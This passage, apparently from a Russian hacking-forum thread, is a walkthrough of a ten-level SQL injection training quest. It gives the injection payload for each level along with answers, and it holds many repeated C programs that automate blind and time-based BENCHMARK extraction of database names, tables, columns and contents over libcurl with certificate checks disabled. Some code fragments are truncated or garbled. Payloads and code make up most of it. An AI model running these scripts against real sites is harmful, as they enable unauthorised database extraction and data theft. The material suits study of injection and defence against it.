sprintf(url,"https://alexbers.com/sql/lastlevel10.php?text=if%%28%%28select+count%%28*%% 29+from+level10.davidblayne+where+ascii%%28substri ng%%28%s%%2C%d%%2C1%%29%%29>%d%%29%%3D1%%2CBENCHMA RK%%285000000%%2CENCODE%%28%%27DROP+DA+BOMB%%27%%2 C%%27Doctor+Phineas+Waldolf+Steel%%27%%29%%29%%2Cn ull%%29%%3B",tableName,charNum,cmax);//>
ret=NULL;
unsigned int start_time = clock();
curlPOST(url,NULL,&ret);
unsigned int end_time = clock();
free(ret);
if( ((double)end_time - (double)start_time)2500.0) return cmax; else ++cmax;
}
return -1;
}
void main()
{
int i,i1;
char curChar;
char *tableList[]={"first","second","morkovka","wtf","genius"};
for(i=0;i
Код:
select if((select count(*) from level10.davidblayne where ascii(substring(first,1,1))=105)=1,BENCHMARK(5000000,ENCODE('DROP DA BOMB','Doctor Phineas Waldolf Steel')),null);
Основано на запросе выше.
Содержимое базы следующее:- 55
- 44
- wantamorkovka
- wtf?
- yes
Что из них ответ - догадайтесь сами. Квест пройден.
|
|
|

29.06.2015, 18:21
|
|
Познавший АНТИЧАТ
Регистрация: 09.05.2015
Сообщений: 1,066
Провел на форуме: 238786
Репутация:
40
|
|
Сам прошёл, да ?
|
|
|

29.06.2015, 18:39
|
|
Участник форума
Регистрация: 08.05.2015
Сообщений: 200
Провел на форуме: 56887
Репутация:
28
|
|
Сообщение от Dude
↑
Сразу скажу: с MySQL я знаком на уровне "когда то читал посвященный ей chm", с инъекциями примерно так же, поэтому не ждите от меня красивых решений. Я знаю что метод двоичного поиска реализован лишь на половину, а программы написаны кривовато, т.к. писались чтобы использовать один раз и забыть. Если нужно - могу привести код в порядок. - Все просто, вводим запрос как он будет:
Код:
select pass from users where id=12;
Ответ: QwErTy
- Тут надо отбросить то что нам мешает, примерно так: ' or id=9;#
В итоге пучится :
Код:
select * from users where id=2 or login='' or id=9;#'
# - начало комментария, все что за ней - отпросится.
Ответ: secreto
- То же самое: ' or id=13;#
Код:
select * from users where id=2 or login='' or id=13;#' limit 1
Видимо предыдущий я решил как то неверно, потому что решение подошло и сюда
Ответ: iwanttogo4
- Нужно отбросить лимит и приклеить еще один запрос:
Код:
select * from users where id=2 or login='' union select * from secret where ggg='abc';#' limit 1
Ответ: dg
- То же, что и в предыдущем, но не совпадает количество столбцов. Добьем недостающий единицей:
Код:
select * from users where id=2 or login='' union select *,1 from secret;#' limit 1
Ответ: thisisapass232
- Нужно решить проблему фильтрации кавычки:
Код:
select * from users where id=0 or login=CHAR(0x67,0x6f,0x64) limit 1
Ответ: ivarywantlevel7
Хорошо, что вы не знаете как я решал задачу сначала...
- Нужно решить проблему фильтрации всего (пробелов, скобок, кавычек, чего то еще).
Пробелы успешно меняются на /**/.
Кавычки исключаются, строка представляется в виде шестнадцатеричных значений символов ее составляющих. Неизвестная группа символов меняется на % (0x25).
Код:
select * from users where id=0/**/or/**/login/**/like/**/0x2567656e746f6f25 limit 1
Ответ: level8please
Хорошо, что вы не знаете что тут я пытался сделать то же, что и в шестом в начале...
- Тут слепая инъекция, будем искать пароль посимвольно методом подбора. В данном случае это вполне нормально, однако когда надо найти длинные строки лучше бы использовать метод двоичной сортировки.
Сначала узнаем его длину (привожу только то что ввел я, а не весь запрос):
Код:
0 union select * from users where login='fast' and LENGTH(pass)>3
нашло одного такого, пароль явно длиннее трех символов
[CODE]
0 union select * from users where login='fast' and LENGTH(pass)
.SpoilerTarget" type="button">Spoiler: Код
[CODE]
#include
#include
#include
static int writer(char *data, size_t size, size_t nmemb, char **buffer)
{
int result = size * nmemb;
if(*buffer)
{
*buffer=(char*)realloc(*buffer,(strlen(*buffer)+re sult+1)*sizeof(char));
strcat(*buffer,data);
}
else
{
*buffer=(char*)calloc(result+1,sizeof(char));
strcpy(*buffer,data);
}
return result;
}
int curlPOST(char* URL,char* postData,char **buffer)
{
CURL *curl;
CURLcode performReturn;
curl_global_init(CURL_GLOBAL_DEFAULT);
curl = curl_easy_init();
if(curl)
{
curl_easy_setopt(curl, CURLOPT_URL, URL);
curl_easy_setopt(curl, CURLOPT_NOPROGRESS, 1L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writer);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, buffer);
if(postData)
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData);
performReturn = curl_easy_perform(curl);
if(performReturn != CURLE_OK)
{
printf("curl_easy_perform failed: %s\n",curl_easy_strerror(performReturn));
return 0;
}
}
else
return 0;
curl_global_cleanup();
return 1;
}
void main()
{
char *ret;
char url[255];
char symb=0;
int i,i1;
char res=0;
printf("Password charcode: 0x");
for(i=1;i
Все основано на следующем запросе (привожу только мою часть):
Код:
0 union select * from users where login='fast' and ASCII(SUBSTRING(pass,1,1))=57
Ответ: 9levlpass
- Тут то же самое. Слепая иньекция. Нужно нормально реализовывать поиск. Все по аналогии с предыдущим заданием, в комментариях не нуждается.
.SpoilerTarget" type="button">Spoiler
[CODE]
#include
#include
#include
static int writer(char *data, size_t size, size_t nmemb, char **buffer)
{
int result = size * nmemb;
if(*buffer)
{
*buffer=(char*)realloc(*buffer,(strlen(*buffer)+re sult+1)*sizeof(char));
strcat(*buffer,data);
}
else
{
*buffer=(char*)calloc(result+1,sizeof(char));
strcpy(*buffer,data);
}
return result;
}
int curlPOST(char* URL,char* postData,char **buffer)
{
CURL *curl;
CURLcode performReturn;
curl_global_init(CURL_GLOBAL_DEFAULT);
curl = curl_easy_init();
if(curl)
{
curl_easy_setopt(curl, CURLOPT_URL, URL);
curl_easy_setopt(curl, CURLOPT_NOPROGRESS, 1L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writer);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, buffer);
if(postData)
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData);
performReturn = curl_easy_perform(curl);
if(performReturn != CURLE_OK)
{
printf("curl_easy_perform failed: %s\n",curl_easy_strerror(performReturn));
return 0;
}
}
else
return 0;
curl_global_cleanup();
return 1;
}
int getLoginLength(int id)
{
char url[255], *ret, state;
sprintf(url,"https://alexbers.com/sql/almost9.php?text=%d+and+length%%28login%%29>0",id) ;
ret=NULL;
curlPOST(url,NULL,&ret);
state=*(ret+394);
free(ret);
if(state!='1')return -1;
int cmax=20;//будем считать что нет логинов длиннее 20
while(1)
{
sprintf(url,"https://alexbers.com/sql/almost9.php?text=%d+and+length%%28login%%29
В итоге их логины:- 48
- 131
- 125
- 1104
- 182
- 51
- 195
- 5
- 136
- 121
- 127
Ответ: 2225
- Слепой запрос без вывода, time-based injection.
Не извесно ничего. Надо узнать хоты бя имена таблиц (и их количество).
Код:
select if((select count(1) from information_schema.schemata)=6,BENCHMARK(1000000,ENCODE('DROP DA BOMB','Doctor Phineas Waldolf Steel')),null);
Задержка выполняется при условии что количество баз равно 6. И так, цифра за цифрой, подбираем количество баз.
.SpoilerTarget" type="button">Spoiler
Код:
#include
#include
#include
#include
static int writer(char *data, size_t size, size_t nmemb, char **buffer)
{
int result = size * nmemb;
if(*buffer)
{
*buffer=(char*)realloc(*buffer,(strlen(*buffer)+result+1)*sizeof(char));
strcat(*buffer,data);
}
else
{
*buffer=(char*)calloc(result+1,sizeof(char));
strcpy(*buffer,data);
}
return result;
}
int curlPOST(char* URL,char* postData,char **buffer)
{
CURL *curl;
CURLcode performReturn;
curl_global_init(CURL_GLOBAL_DEFAULT);
curl = curl_easy_init();
if(curl)
{
curl_easy_setopt(curl, CURLOPT_URL, URL);
curl_easy_setopt(curl, CURLOPT_NOPROGRESS, 1L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writer);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, buffer);
if(postData)
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData);
performReturn = curl_easy_perform(curl);
if(performReturn != CURLE_OK)
{
printf("curl_easy_perform failed: %s\n",curl_easy_strerror(performReturn));
return 0;
}
}
else
return 0;
curl_global_cleanup();
return 1;
}
void main()
{
char url[255], *ret, state;
int i;
double time[50];
int colcount=0;
while(1)
{
sprintf(url,"https://alexbers.com/sql/lastlevel10.php?text=if%%28%%28select+count%%281%%29+from+information_schema.schemata%%29%%3D%d%%2CBENCHMARK%%281000000%%2CENCODE%%28%%27DROP+DA+BOMB%%27%%2C%%27Doctor+Phineas+Waldolf+Steel%%27%%29%%29%%2Cnull%%29%%3B",colcount);
ret=NULL;
unsigned int start_time = clock();
curlPOST(url,NULL,&ret);
unsigned int end_time = clock();
free(ret);
if( ((double)end_time - (double)start_time)>870.0)
{
printf("we have %d columns\n",colcount);
break;
}
else
printf("we have mote than %d columns\n",colcount);
++colcount;
}
system("pause");
}
Оказывается две базы. Одна ясна - information_schema. Ищем имя второй.
Сначала находим длину.
.SpoilerTarget" type="button">Spoiler
Код:
#include
#include
#include
#include
static int writer(char *data, size_t size, size_t nmemb, char **buffer)
{
int result = size * nmemb;
if(*buffer)
{
*buffer=(char*)realloc(*buffer,(strlen(*buffer)+result+1)*sizeof(char));
strcat(*buffer,data);
}
else
{
*buffer=(char*)calloc(result+1,sizeof(char));
strcpy(*buffer,data);
}
return result;
}
int curlPOST(char* URL,char* postData,char **buffer)
{
CURL *curl;
CURLcode performReturn;
curl_global_init(CURL_GLOBAL_DEFAULT);
curl = curl_easy_init();
if(curl)
{
curl_easy_setopt(curl, CURLOPT_URL, URL);
curl_easy_setopt(curl, CURLOPT_NOPROGRESS, 1L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writer);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, buffer);
if(postData)
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData);
performReturn = curl_easy_perform(curl);
if(performReturn != CURLE_OK)
{
printf("curl_easy_perform failed: %s\n",curl_easy_strerror(performReturn));
return 0;
}
}
else
return 0;
curl_global_cleanup();
return 1;
}
void main()
{
char url[420], *ret, state;
int i;
double time[50];
int dbNameLen=0;
while(1)
{
sprintf(url,"https://alexbers.com/sql/lastlevel10.php?text=if%%28%%28select+count%%28*%%29+from+information_schema.schemata+where+schema_name+!%%3D%%27information_schema%%27+and+length%%28schema_name%%29%%3D%d%%29%%2CBENCHMARK%%281000000%%2CENCODE%%28%%27DROP+DA+BOMB%%27%%2C%%27Doctor+Phineas+Waldolf+Steel%%27%%29%%29%%2Cnull%%29%%3B",dbNameLen);
ret=NULL;
unsigned int start_time = clock();
curlPOST(url,NULL,&ret);
unsigned int end_time = clock();
free(ret);
if( ((double)end_time - (double)start_time)>870.0)
{
printf("Db name have %d characters\n",dbNameLen);
break;
}
else
printf("we have mote than %d characters\n",dbNameLen);
++dbNameLen;
}
system("pause");
}
Код:
select if((select count(*) from information_schema.schemata where schema_name !='information_schema' and length(schema_name)=3),BENCHMARK(1000000,ENCODE('DROP DA BOMB','Doctor Phineas Waldolf Steel')),null);
Все основано на этом запросе выше.
Длина имени базы равна 7 символов.
Теперь имя. По буквам (из за неточности пришлось увеличить задержку).
.SpoilerTarget" type="button">Spoiler
[CODE]
#include
#include
#include
#include
static int writer(char *data, size_t size, size_t nmemb, char **buffer)
{
int result = size * nmemb;
if(*buffer)
{
*buffer=(char*)realloc(*buffer,(strlen(*buffer)+re sult+1)*sizeof(char));
strcat(*buffer,data);
}
else
{
*buffer=(char*)calloc(result+1,sizeof(char));
strcpy(*buffer,data);
}
return result;
}
int curlPOST(char* URL,char* postData,char **buffer)
{
CURL *curl;
CURLcode performReturn;
curl_global_init(CURL_GLOBAL_DEFAULT);
curl = curl_easy_init();
if(curl)
{
curl_easy_setopt(curl, CURLOPT_URL, URL);
curl_easy_setopt(curl, CURLOPT_NOPROGRESS, 1L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writer);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, buffer);
if(postData)
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData);
performReturn = curl_easy_perform(curl);
if(performReturn != CURLE_OK)
{
printf("curl_easy_perform failed: %s\n",curl_easy_strerror(performReturn));
return 0;
}
}
else
return 0;
curl_global_cleanup();
return 1;
}
char findChar(int charNum)
{
char url[420], *ret;
int cmax=255;
while(1)
{
sprintf(url,"https://alexbers.com/sql/lastlevel10.php?text=if%%28%%28select+count%%28*%% 29+from+information_schema.schemata+where+schema_n ame+!%%3D%%27information_schema%%27+and+ascii%%28S UBSTRING%%28schema_name%%2C%d%%2C1%%29%%29>%d%%29% %2CBENCHMARK%%285000000%%2CENCODE%%28%%27DROP+DA+B OMB%%27%%2C%%27Doctor+Phineas+Waldolf+Steel%%27%%2 9%%29%%2Cnull%%29%%3B",charNum,cmax);
ret=NULL;
unsigned int start_time = clock();
curlPOST(url,NULL,&ret);
unsigned int end_time = clock();
free(ret);
if( ((double)end_time - (double)start_time)2500.0) return cmax; else ++cmax;
}
return -1;
}
void main()
{
int i;
for(i=0;i
База называется "level10". Какой сюрприз. Мог бы и догадатся.
Код:
select if((select count(*) from information_schema.schemata where schema_name !='information_schema' and ascii(SUBSTRING(schema_name,1,1))=50),BENCHMARK(1000000,ENCODE('DROP DA BOMB','Doctor Phineas Waldolf Steel')),null);
На этом запросе основывался поиск имени базы
Теперь найдем количество таблиц в базе.
.SpoilerTarget" type="button">Spoiler
Код:
#include
#include
#include
#include
static int writer(char *data, size_t size, size_t nmemb, char **buffer)
{
int result = size * nmemb;
if(*buffer)
{
*buffer=(char*)realloc(*buffer,(strlen(*buffer)+result+1)*sizeof(char));
strcat(*buffer,data);
}
else
{
*buffer=(char*)calloc(result+1,sizeof(char));
strcpy(*buffer,data);
}
return result;
}
int curlPOST(char* URL,char* postData,char **buffer)
{
CURL *curl;
CURLcode performReturn;
curl_global_init(CURL_GLOBAL_DEFAULT);
curl = curl_easy_init();
if(curl)
{
curl_easy_setopt(curl, CURLOPT_URL, URL);
curl_easy_setopt(curl, CURLOPT_NOPROGRESS, 1L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writer);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, buffer);
if(postData)
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData);
performReturn = curl_easy_perform(curl);
if(performReturn != CURLE_OK)
{
printf("curl_easy_perform failed: %s\n",curl_easy_strerror(performReturn));
return 0;
}
}
else
return 0;
curl_global_cleanup();
return 1;
}
void main()
{
char url[255], *ret, state;
int i;
double time[50];
int colcount=0;
while(1)
{
sprintf(url,"https://alexbers.com/sql/lastlevel10.php?text=if%%28%%28select+count%%28*%%29+from+information_schema.tables+where+table_schema%%3D%%27level10%%27%%29%%3D%d%%2CBENCHMARK%%285000000%%2CENCODE%%28%%27DROP+DA+BOMB%%27%%2C%%27Doctor+Phineas+Waldolf+Steel%%27%%29%%29%%2Cnull%%29%%3B",colcount);
ret=NULL;
unsigned int start_time = clock();
curlPOST(url,NULL,&ret);
unsigned int end_time = clock();
free(ret);
if( ((double)end_time - (double)start_time)>2500.0)
{
printf("we have %d table\n",colcount);
break;
}
else
printf("we have mote than %d tables\n",colcount);
++colcount;
}
system("pause");
}
Код:
select if((select count(*) from information_schema.tables where table_schema='level10')=1,BENCHMARK(5000000,ENCODE('DROP DA BOMB','Doctor Phineas Waldolf Steel')),null);
Все на основе запроса выше.
Таблица одна. Теперь ее имя.
Как всегда, сначала его длинна.
.SpoilerTarget" type="button">Spoiler
Код:
#include
#include
#include
#include
static int writer(char *data, size_t size, size_t nmemb, char **buffer)
{
int result = size * nmemb;
if(*buffer)
{
*buffer=(char*)realloc(*buffer,(strlen(*buffer)+result+1)*sizeof(char));
strcat(*buffer,data);
}
else
{
*buffer=(char*)calloc(result+1,sizeof(char));
strcpy(*buffer,data);
}
return result;
}
int curlPOST(char* URL,char* postData,char **buffer)
{
CURL *curl;
CURLcode performReturn;
curl_global_init(CURL_GLOBAL_DEFAULT);
curl = curl_easy_init();
if(curl)
{
curl_easy_setopt(curl, CURLOPT_URL, URL);
curl_easy_setopt(curl, CURLOPT_NOPROGRESS, 1L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writer);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, buffer);
if(postData)
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData);
performReturn = curl_easy_perform(curl);
if(performReturn != CURLE_OK)
{
printf("curl_easy_perform failed: %s\n",curl_easy_strerror(performReturn));
return 0;
}
}
else
return 0;
curl_global_cleanup();
return 1;
}
void main()
{
char url[320], *ret, state;
int i;
double time[50];
int colcount=0;
while(1)
{
sprintf(url,"https://alexbers.com/sql/lastlevel10.php?text=if%%28%%28select+count%%28*%%29+from+information_schema.tables+++where+table_schema%%3D%%27level10%%27+and+length%%28table_name%%29%%3D%d%%29%%2CBENCHMARK%%285000000%%2CENCODE%%28%%27DROP+DA+BOMB%%27%%2C%%27Doctor+Phineas+Waldolf+Steel%%27%%29%%29%%2Cnull%%29%%3B",colcount);
ret=NULL;
unsigned int start_time = clock();
curlPOST(url,NULL,&ret);
unsigned int end_time = clock();
free(ret);
if( ((double)end_time - (double)start_time)>2500.0)
{
printf("we have %d symbols\n",colcount);
break;
}
else
printf("we have mote than %d symbols\n",colcount);
++colcount;
}
system("pause");
}
Код:
select if((select count(*) from information_schema.tables where table_schema='level10' and length(table_name)=3),BENCHMARK(5000000,ENCODE('DROP DA BOMB','Doctor Phineas Waldolf Steel')),null);
Основано на запросе выше.
Длина имени таблицы - 11 символов.
А вот теперь ее имя.
.SpoilerTarget" type="button">Spoiler
[CODE]
#include
#include
#include
#include
static int writer(char *data, size_t size, size_t nmemb, char **buffer)
{
int result = size * nmemb;
if(*buffer)
{
*buffer=(char*)realloc(*buffer,(strlen(*buffer)+re sult+1)*sizeof(char));
strcat(*buffer,data);
}
else
{
*buffer=(char*)calloc(result+1,sizeof(char));
strcpy(*buffer,data);
}
return result;
}
int curlPOST(char* URL,char* postData,char **buffer)
{
CURL *curl;
CURLcode performReturn;
curl_global_init(CURL_GLOBAL_DEFAULT);
curl = curl_easy_init();
if(curl)
{
curl_easy_setopt(curl, CURLOPT_URL, URL);
curl_easy_setopt(curl, CURLOPT_NOPROGRESS, 1L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writer);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, buffer);
if(postData)
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData);
performReturn = curl_easy_perform(curl);
if(performReturn != CURLE_OK)
{
printf("curl_easy_perform failed: %s\n",curl_easy_strerror(performReturn));
return 0;
}
}
else
return 0;
curl_global_cleanup();
return 1;
}
char findChar(int charNum)
{
char url[420], *ret;
int cmax=255;
while(1)
{
sprintf(url,"https://alexbers.com/sql/lastlevel10.php?text=if%%28%%28select+count%%28*%% 29+from+information_schema.tables+where+table_sche ma%%3D%%27level10%%27+and+ascii%%28SUBSTRING%%28ta ble_name%%2C%d%%2C1%%29%%29>%d%%29%%2CBENCHMARK%%2 85000000%%2CENCODE%%28%%27DROP+DA+BOMB%%27%%2C%%27 Doctor+Phineas+Waldolf+Steel%%27%%29%%29%%2Cnull%% 29%%3B",charNum,cmax);
ret=NULL;
unsigned int start_time = clock();
curlPOST(url,NULL,&ret);
unsigned int end_time = clock();
free(ret);
if( ((double)end_time - (double)start_time)2500.0) return cmax; else ++cmax;
}
return -1;
}
void main()
{
int i;
for(i=0;i
Код:
select if((select count(*) from information_schema.tables where table_schema='level10' and ascii(SUBSTRING(table_name,1,1))=99),BENCHMARK(5000000,ENCODE('DROP DA BOMB','Doctor Phineas Waldolf Steel')),null);
Имя таблицы: davidblayne
Вдруг это уже ответ? Нет, нас еще помучают.
Теперь количество строк ней (хоть это не сложно):
.SpoilerTarget" type="button">Spoiler
Код:
#include
#include
#include
#include
static int writer(char *data, size_t size, size_t nmemb, char **buffer)
{
int result = size * nmemb;
if(*buffer)
{
*buffer=(char*)realloc(*buffer,(strlen(*buffer)+result+1)*sizeof(char));
strcat(*buffer,data);
}
else
{
*buffer=(char*)calloc(result+1,sizeof(char));
strcpy(*buffer,data);
}
return result;
}
int curlPOST(char* URL,char* postData,char **buffer)
{
CURL *curl;
CURLcode performReturn;
curl_global_init(CURL_GLOBAL_DEFAULT);
curl = curl_easy_init();
if(curl)
{
curl_easy_setopt(curl, CURLOPT_URL, URL);
curl_easy_setopt(curl, CURLOPT_NOPROGRESS, 1L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writer);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, buffer);
if(postData)
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData);
performReturn = curl_easy_perform(curl);
if(performReturn != CURLE_OK)
{
printf("curl_easy_perform failed: %s\n",curl_easy_strerror(performReturn));
return 0;
}
}
else
return 0;
curl_global_cleanup();
return 1;
}
void main()
{
char url[255], *ret, state;
int i;
double time[50];
int colcount=0;
while(1)
{
sprintf(url,"https://alexbers.com/sql/lastlevel10.php?text=if%%28%%28select+count%%28*%%29+from+level10.davidblayne%%29%%3D%d%%2CBENCHMARK%%285000000%%2CENCODE%%28%%27DROP+DA+BOMB%%27%%2C%%27Doctor+Phineas+Waldolf+Steel%%27%%29%%29%%2Cnull%%29%%3B",colcount);
ret=NULL;
unsigned int start_time = clock();
curlPOST(url,NULL,&ret);
unsigned int end_time = clock();
free(ret);
if( ((double)end_time - (double)start_time)>870.0)
{
printf("we have %d columns\n",colcount);
break;
}
else
printf("we have mote than %d columns\n",colcount);
++colcount;
}
system("pause");
}
Код:
select if((select count(*) from level10.davidblayne)=2,BENCHMARK(5000000,ENCODE('DROP DA BOMB','Doctor Phineas Waldolf Steel')),null);
На основе запроса выше выясняем - всего одна строка. Надеюсь хоть там то пароль.
Теперь количество столбцов.
.SpoilerTarget" type="button">Spoiler
Код:
#include
#include
#include
#include
static int writer(char *data, size_t size, size_t nmemb, char **buffer)
{
int result = size * nmemb;
if(*buffer)
{
*buffer=(char*)realloc(*buffer,(strlen(*buffer)+result+1)*sizeof(char));
strcat(*buffer,data);
}
else
{
*buffer=(char*)calloc(result+1,sizeof(char));
strcpy(*buffer,data);
}
return result;
}
int curlPOST(char* URL,char* postData,char **buffer)
{
CURL *curl;
CURLcode performReturn;
curl_global_init(CURL_GLOBAL_DEFAULT);
curl = curl_easy_init();
if(curl)
{
curl_easy_setopt(curl, CURLOPT_URL, URL);
curl_easy_setopt(curl, CURLOPT_NOPROGRESS, 1L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writer);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, buffer);
if(postData)
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData);
performReturn = curl_easy_perform(curl);
if(performReturn != CURLE_OK)
{
printf("curl_easy_perform failed: %s\n",curl_easy_strerror(performReturn));
return 0;
}
}
else
return 0;
curl_global_cleanup();
return 1;
}
void main()
{
char url[320], *ret, state;
int i;
double time[50];
int colcount=0;
while(1)
{
sprintf(url,"https://alexbers.com/sql/lastlevel10.php?text=if%%28%%28select+count%%28*%%29+from+information_schema.columns+where+table_name%%3D%%27davidblayne%%27%%29%%3D%d%%2CBENCHMARK%%285000000%%2CENCODE%%28%%27DROP+DA+BOMB%%27%%2C%%27Doctor+Phineas+Waldolf+Steel%%27%%29%%29%%2Cnull%%29%%3B",colcount);
ret=NULL;
unsigned int start_time = clock();
curlPOST(url,NULL,&ret);
unsigned int end_time = clock();
free(ret);
if( ((double)end_time - (double)start_time)>2500.0)
{
printf("we have %d columns\n",colcount);
break;
}
else
printf("we have mote than %d columns\n",colcount);
++colcount;
}
system("pause");
}
Код:
select if((select count(*) from information_schema.columns where table_name='davidblayne')=2,BENCHMARK(5000000,ENCODE('DROP DA BOMB','Doctor Phineas Waldolf Steel')),null);
Основано на запросе выше
Тут 5 столбцов. Теперь их имена.
Долго думал как сделать, оказалось что если взять ASCII от несуществующего символа - вернется 0. Длинна не нужна.
У меня ушло много времени чтобы придумать как имена столцов, ведь для этого надо получить имя одного определенного столбца, потом я наткнулся на ordinal_position и мои проблемы решились.
.SpoilerTarget" type="button">Spoiler
[CODE]
#include
#include
#include
#include
static int writer(char *data, size_t size, size_t nmemb, char **buffer)
{
int result = size * nmemb;
if(*buffer)
{
*buffer=(char*)realloc(*buffer,(strlen(*buffer)+re sult+1)*sizeof(char));
strcat(*buffer,data);
}
else
{
*buffer=(char*)calloc(result+1,sizeof(char));
strcpy(*buffer,data);
}
return result;
}
int curlPOST(char* URL,char* postData,char **buffer)
{
CURL *curl;
CURLcode performReturn;
curl_global_init(CURL_GLOBAL_DEFAULT);
curl = curl_easy_init();
if(curl)
{
curl_easy_setopt(curl, CURLOPT_URL, URL);
curl_easy_setopt(curl, CURLOPT_NOPROGRESS, 1L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writer);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, buffer);
if(postData)
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData);
performReturn = curl_easy_perform(curl);
if(performReturn != CURLE_OK)
{
printf("curl_easy_perform failed: %s\n",curl_easy_strerror(performReturn));
return 0;
}
}
else
return 0;
curl_global_cleanup();
return 1;
}
char findChar(int charNum,int columnNum)
{
char url[420], *ret;
int cmax=255;
while(1)
{
if(cmax==0)return 0;
sprintf(url,"https://alexbers.com/sql/lastlevel10.php?text=if%%28%%28select+count%%28*%% 29+from+information_schema.columns+where+table_nam e%%3D%%27davidblayne%%27+and+ordinal_position%%3D% d+and+ascii%%28substring%%28column_name%%2C%d%%2C1 %%29%%29>%d%%29%%3D1%%2CBENCHMARK%%285000000%%2CEN CODE%%28%%27DROP+DA+BOMB%%27%%2C%%27Doctor+Phineas +Waldolf+Steel%%27%%29%%29%%2Cnull%%29%%3B",column Num,charNum,cmax);//>
ret=NULL;
unsigned int start_time = clock();
curlPOST(url,NULL,&ret);
unsigned int end_time = clock();
free(ret);
if( ((double)end_time - (double)start_time)2500.0) return cmax; else ++cmax;
}
return -1;
}
void main()
{
int i,i1;
char curChar;
for(i=0;i
Код:
select if((select count(*) from information_schema.columns where table_name='davidblayne' and ordinal_position=1 and ascii(substring(column_name,1,1))=105)=1,BENCHMARK(5000000,ENCODE('DROP DA BOMB','Doctor Phineas Waldolf Steel')),null);
Основано на запросе выше.
Имена столбцов следующие (из за проблем с соединением или ошибками в коде пришлось запускать несколько раз, иногда путало символы).- first
- second
- morkovka
- wtf
- genius
Имена в итогу вышли читаемыее и осмысленные, я на верном пути. Осталось узнать что хранится в каждом из них. Звучит не слишком сложно.
.SpoilerTarget" type="button">Spoiler
[CODE]
#include
#include
#include
#include
static int writer(char *data, size_t size, size_t nmemb, char **buffer)
{
int result = size * nmemb;
if(*buffer)
{
*buffer=(char*)realloc(*buffer,(strlen(*buffer)+re sult+1)*sizeof(char));
strcat(*buffer,data);
}
else
{
*buffer=(char*)calloc(result+1,sizeof(char));
strcpy(*buffer,data);
}
return result;
}
int curlPOST(char* URL,char* postData,char **buffer)
{
CURL *curl;
CURLcode performReturn;
curl_global_init(CURL_GLOBAL_DEFAULT);
curl = curl_easy_init();
if(curl)
{
curl_easy_setopt(curl, CURLOPT_URL, URL);
curl_easy_setopt(curl, CURLOPT_NOPROGRESS, 1L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writer);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, buffer);
if(postData)
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData);
performReturn = curl_easy_perform(curl);
if(performReturn != CURLE_OK)
{
printf("curl_easy_perform failed: %s\n",curl_easy_strerror(performReturn));
return 0;
}
}
else
return 0;
curl_global_cleanup();
return 1;
}
char findChar(int charNum,char *tableName)
{
char url[420], *ret;
int cmax=255;
while(1)
{
if(cmax==0)return 0;
